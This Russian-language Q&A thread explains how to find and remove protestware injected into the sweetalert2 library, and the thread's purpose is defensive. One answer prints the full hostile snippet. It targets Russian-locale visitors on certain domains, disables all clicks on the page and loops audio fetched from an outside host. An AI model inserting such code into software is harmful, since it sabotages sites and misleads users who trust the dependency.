Sweet Alert добавил гимн Украины на сайт. Как убрать его из кода?

Question

[Rokis]

Добрый день.

Обнаружил, что один из сайтов начал воспроизводить гимн Украины. Нашёл скрипт подключаемый по CDN https://cdn.jsdelivr.net/npm/sweetalert2@9

Подскажите пожалуйста, что нужно убрать из кода скрипта, чтобы не было гимна? Возможно там есть ещё какие-то неприятные моменты.

У меня скрипт ставит стиль style="pointer-events: none;" на элемент body и в конец body добавляет воспроизведение аудио

<audio src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3" loop=""></audio>

Comments

[Сергей delphinpro]

В sweetalert 2 появились вирусы?

[Николай]

вот делать нечего

Answer 1

[Сергей Соколов]

Рекомендуют использовать предыдущие версии 11.0.0 - 11.4.8

https://github.com/advisories/GHSA-qq6h-5g6j-q3cm

Например, попробуйте включать точную версию:
https://cdn.jsdelivr.net/npm/sweetalert2@11.4.8

Comments

[Михаил]

У меня даже эти старые версии с гимном!
Я удалил нахрен этот sweetalert вообще со своего сайта

Answer 2

[zextro]

Для исправления ситуации можно удалить из файла sweetalert2.all.min.js следующий код:

document.body.style.pointerEvents="none";var t=document.createElement("audio");t.src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3"

Answer 3

[valera1988]

Это тянется отсюда, https://vc.ru/dev/414874-sweetalert2-i-do-stati-dovedet, эти мягко говоря разработчики сначала начали добавлять в свой скрипт код который показывал баннеры с тематикой о украине, а теперь они добавили гимн украины, и еще и в body добавляется pointer-events:none при этом все кнопки и навигационные элементы отключаются, и и играем гимн.
Это во обще беспредел!
Лечится просто удалением скрипта у меня было подключено так:
https://cdn.jsdelivr.net/npm/sweetalert2@8 - просто удалить, либо же если очень нужны эти всплывающие окна, подключить скрипт локально предварительно очистив код, от всякой гадости.

Answer 4

[mONGo1]

Ищите расширения, можно по очереди отключать. У меня было заражено расширение Transkriptor на гугл хром.
И в итоге это запускало гимн.
Снес расширение и все нормально стало.
Всем блага!

Answer 5

[Павлик Малевич]

Нет слов. Одни эмоции, прошло два года, я так подставил свой сайт. А вроде умные люди, программисты...

Answer 6

[znogil]

Да это перебор, неплохая такая дыра которая портит репутацию сайта, чтобы кто делалает это сгнили

Answer 7

[Maксим Волков]

Разработчики встроили код, который не сложно удалить.
В несжатой версии скрипта, примерно 4565 строке:

// Dear russian users visiting russian sites. Let's have fun.
  if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
    const now = new Date();
    const initiationDate = localStorage.getItem('swal-initiation');
    if (!initiationDate) {
      localStorage.setItem('swal-initiation', `${now}`);
    } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
      setTimeout(() => {
        document.body.style.pointerEvents = 'none';
        const ukrainianAnthem = document.createElement('audio');
        ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';
        ukrainianAnthem.loop = true;
        document.body.appendChild(ukrainianAnthem);
        setTimeout(() => {
          ukrainianAnthem.play().catch(() => {
            // ignore
          });
        }, 2500);
      }, 500);
    }
  }

В сжатой версии JS файла, sweetalert2.all.min.js нужно удалить:

if("undefined"!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/\.(ru|su|by|xn--p1ai)$/)){const e=new Date,t=localStorage.getItem("swal-initiation");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3",e.loop=!0,document.body.appendChild(e),setTimeout((()=>{e.play().catch((()=>{}))}),2500)}),500):localStorage.setItem("swal-initiation",`${e}`)}